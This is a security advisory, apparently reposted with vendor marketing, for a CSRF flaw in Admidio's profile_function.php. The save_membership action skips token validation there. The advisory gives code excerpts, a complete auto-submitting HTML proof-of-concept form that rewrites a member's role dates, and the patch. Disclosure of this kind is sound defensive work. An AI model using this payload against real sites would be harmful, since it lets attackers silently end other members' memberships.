The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:
} elseif ($getMode === 'save_membership') {
$postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
$postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true));
$member = new Membership($gDb);
$member->readDataByUuid($getMemberUuid);
$role = new Role($gDb, (int)$member->getValue('mem_rol_id'));
// check if user has the right to edit this membership
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
// ... validates dates ...
$role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
echo 'success';
}
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169
File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to:
isAdministratorRoles() (role administrators), orrol_leader_rights set to ROLE_LEADER_MEMBERS_ASSIGN or ROLE_LEADER_MEMBERS_ASSIGN_EDITRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
The save URL for the membership date form is embedded in the profile page HTML:
/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form"
method="POST"
action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
<input type="hidden" name="adm_membership_start_date" value="2000-01-01">
<input type="hidden" name="adm_membership_end_date" value="2000-01-02">
</form>
</body>
</html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No adm_csrf_token field is required because the server does not validate it for save_membership.
save_membership to the existing CSRF validation check// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
} elseif ($getMode === 'save_membership') {
// Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
$membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $membershipForm->validate($_POST);
$postMembershipStart = $formValues['adm_membership_start_date'];
$postMembershipEnd = $formValues['adm_membership_end_date'];
// ... rest of save logic unchanged
}
| Software | From | Fixed in |
|---|---|---|
admidio / admidio
|
- | 5.0.7 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.